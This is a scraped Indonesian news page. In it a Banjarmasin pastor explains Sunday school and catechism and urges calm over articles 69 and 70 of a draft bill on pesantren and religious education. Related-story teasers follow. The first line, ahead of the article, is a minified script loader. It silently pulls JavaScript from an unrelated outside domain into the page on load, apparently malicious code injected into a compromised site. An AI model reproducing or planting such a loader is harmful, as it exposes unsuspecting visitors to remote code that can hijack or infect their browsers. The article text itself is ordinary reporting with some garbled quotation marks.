(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Baru-baru ini masyarakat, khususnya mereka yang memeluk agama Kristen menuai banyak reaksi di media sosial mengenai dua pasal di draft Rancangan Undang-Undang (RUU) Pesantren dan Pendidikan Keagamaan yang mengatur tentang sekolah minggu dan katekisasi pada pasal 69 dan 70.
Ada beberapa pasal yang mengatur kegiatan ibadah sekolah minggu dan katekisasi oleh gereja hingga izin yang harus dikeluarkan oleh Kementerian Agama.
Pendeta Besel Jarias, Ketua Badan Pekerja Harian (BPH) GKE Eppata ini membagikan sedikit informasi kepada Kanal Kalimantan mengenai apa itu sekolah minggu dan katekisasi.
“Itu namanya saja sekolah minggu. Kegiatannya ya ibadah, tapi khusus untuk anak-anak,†jelasnya.
Seperti di GKE Eppata sendiri ada beberapa kelas dalam sekolah minggu diantaranya kelas usia PAUD dan TK, kelas kecil, kelas menengah, dan kelas besar. Masing-masing kelas dibagi sesuai dengan umurnya. Kelas kecil untuk usia 7-8 tahun, kelas menengah untuk usia 9-10 tahun, dan kelas besar untuk usia 11-13 tahun.
Tujuan sekolah minggu sendiri adalah membekali sejak kecil kepada anak-anak tentang tata krama, sopan santun, saling menghormati, dan ilmu agama Kristen itu sendiri.
Besel Jarias mengemukakan, sekolah minggu juga menjadi salah satu sumbang gereja untuk negara agar bisa menghasilkan masyarakat yang berguna bagi negara.
Lain halnya dengan katekisasi yang merupakan sebuah pembelajaran untuk pemuda-pemudi Kristen yang akan menuju kedewasaan.
“Dewasa di sini bukan soal badan saja, tapi dewasa dalam iman dan berprinsip. Agar hidup tidak tersesat. Katekisasi adalah pelajaran khusus untuk anak-anak muda,†bebernya.
Dalam hal ini, Besel Jarias berharap agar pemerintah tidak ikut mencampuri kegiatan sekolah minggu dan katekisasi. Ia juga menghimbau kepada seluruh umat kristiani agar tetap tenang.
“Karena ini masih belum diketuk palu, jadi ya gak usah panik,†ucap pendeta via telepon ini sedang berada di Sintang, Kalimantan Barat dalam acara peresmian gereja. (mario)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.